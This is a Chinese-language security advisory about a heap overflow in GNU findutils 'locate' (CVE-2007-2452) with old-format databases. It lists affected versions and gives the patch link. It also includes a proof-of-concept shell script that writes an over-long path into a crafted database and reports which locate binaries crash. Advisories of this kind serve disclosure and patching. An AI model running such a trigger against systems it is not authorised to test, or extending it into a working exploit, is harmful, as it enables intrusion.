安全研究
安全漏洞
GNU findutils传统格式Locate数据库本地堆溢出漏洞
发布日期:2007-05-31
更新日期:2007-06-01
受影响系统:
GNU findutils < 4.2.31不受影响系统:
GNU findutils 4.2.31描述:
BUGTRAQ ID: 24250
CVE(CAN) ID: CVE-2007-2452
GNU findutils是一套用于搜索Unix类系统上文件的程序。
findutils在处理数据库时存在漏洞,远程攻击者可能利用此漏洞控制用户机器。
findutils支持三种不同格式的locate数据库,分别为原始格式LOCATE02、LOCATE02的slocate变种和传统格式。当locate从默认格式的LOCATE02数据库读取文件名时,会自动扩展读入数据的缓冲区以适合文件名的长度,但传统格式的数据库没有执行这种自动缓冲区扩展,而是使用了1026字节的缓冲区。如果locate数据库存在超长的路径名,就会溢出堆上所分配的缓冲区,导致执行任意指令。
<*来源:Tavis Ormandy (taviso@gentoo.org)
Rob Holland (rob@inversepath.com)
链接:http://marc.info/?l=bugtraq&m=118062699007388&w=2
http://secunia.com/advisories/25477/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
set +m
if vanilla_db="$(mktemp nicedb.XXXXXX)" ; then
if updatedb --prunepaths="" --old-format --localpaths="/tmp" \
--output="${vanilla_db}" ; then
true
else
rm -f "${vanilla_db}"
vanilla_db=""
echo "Failed to create old-format locate database; skipping the
sanity checks" >&2
fi
fi
make_overrun_db() {
# Start with a valid database
cat "${vanilla_db}"
# Make the final entry really long
dd if=/dev/zero bs=1 count=1500 2>/dev/null | tr '\000' 'x'
}
ulimit -c 0
usage() { echo "usage: $0 binary [binary...]" >&2; exit $1; }
[ $# -eq 0 ] && usage 1
bad=""
good=""
ugly=""
if dbfile="$(mktemp nasty.XXXXXX)"
then
make_overrun_db > "$dbfile"
for locate ; do
ver="$locate = $("$locate" --version | head -1)"
if [ -z "$vanilla_db" ] || "$locate" -d "$vanilla_db" "" >/dev/null ; then
"$locate" -d "$dbfile" "" >/dev/null
if [ $? -gt 128 ] ; then
bad="$bad
vulnerable: $ver"
else
good="$good
good: $ver"
fi
else
# the regular locate failed
ugly="$ugly
buggy, may or may not be vulnerable: $ver"
fi
done
rm -f "${dbfile}" "${vanilla_db}"
# good: unaffected. bad: affected (vulnerable).
# ugly: doesn't even work for a normal old-format database.
echo "$good"
echo "$bad"
echo "$ugly"
else
exit 1
fi
建议:
厂商补丁:
GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
ftp://ftp.gnu.org/gnu/findutils/findutils-4.2.31.tar.gz
浏览次数:2540
严重程度:0(网友投票)
绿盟科技给您安全的保障
